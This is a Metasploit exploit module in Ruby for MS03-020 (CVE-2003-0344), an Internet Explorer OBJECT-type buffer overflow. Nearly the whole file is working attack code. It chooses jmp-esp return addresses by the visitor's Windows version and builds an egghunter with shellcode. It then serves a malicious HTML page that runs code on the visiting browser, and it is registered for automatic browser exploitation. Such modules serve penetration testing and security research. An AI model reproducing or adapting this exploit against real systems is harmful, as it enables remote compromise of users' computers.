Microsoft Internet Explorer - Object Type (MS03-020)



##

# $Id: ms03_020_ie_objecttype.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Remote::Egghunter

    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({
        :ua_name      => HttpClients::IE,
        :javascript   => false,
        :os_name      => OperatingSystems::WINDOWS,
        :vuln_test    => nil, # no way to test without just trying it
        :prefix_html  => "<!--[if lt IE 7]>",
        :postfix_html => "<![endif]-->",
        :rank         => NormalRanking  # reliable memory corruption
    })

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'MS03-020 Internet Explorer Object Type',
            'Description'    => %q{
                    This module exploits a vulnerability in Internet Explorer's
                handling of the OBJECT type attribute.
            },
            'Author'         => 'skape',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10150 $',
            'References'     =>
                [
                    [ 'CVE', '2003-0344' ],
                    [ 'OSVDB', '2967'    ],
                    [ 'BID', '7806'      ],
                    [ 'MSB', 'MS03-020'  ],
                ],
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'MaxNops'  => 0,
                    'BadChars' => "\x8b\xe2", # Prevent UTF-8-ification
                    'StackAdjustment' => -3500,
                },
            'Targets'        =>
                [
                    # Target 0: Automatic
                    [
                        'Windows NT/XP/2003 Automatic',
                        {
                            'Platform' => 'win',
                            'Rets'     =>
                                [
                                    0x777e85ab, # Windows NT: samlib jmp esp
                                    0x71ab1d54, # Windows XP: ws2_32 push esp/ret SP0/1
                                    0x77d1f92f, # Windows 2003: user32 jmp esp SP0/1
                                ],
                        },
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jun 04 2003'))
    end

    def on_request_uri(cli, request)
        clean = 0x7ffdec50
        ret   = nil

        # Figure out which return address to use based on the user-agent
        case request['User-Agent']
            when /Windows NT 5.2/
                ret = target['Rets'][2]
            when /Windows NT 5.1/
                ret = target['Rets'][1]
            when /Windows NT/
                ret = target['Rets'][0]
            else
                print_status("Sending 404 to user agent: #{request['User-Agent']}")
                cli.send_response(create_response(404, 'File not found'))
                return
        end

        # Re-generate the payload
        return if ((p = regenerate_payload(cli)) == nil)

        # Pack the values
        ret    = [ ret   ].pack('V')
        clean  = [ clean ].pack('V')
        hunter = generate_egghunter(p.encoded, payload_badchars, { :checksum => true })
        egg    = hunter[1]

        # Now, build out the HTTP response payload
        content =
            "<html>" + egg + "\n" +
            "<object type=\"////////////////////////////////////////////////////////////////" +
            rand_text_alphanumeric(8) + ret + clean +
            make_nops(8) + hunter[0] + "\">" +
            "</object>" +
            "</html>"

        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

        # Transmit the response to the client
        send_response_html(cli, content)

        # Handle the payload
        handler(cli)
    end

end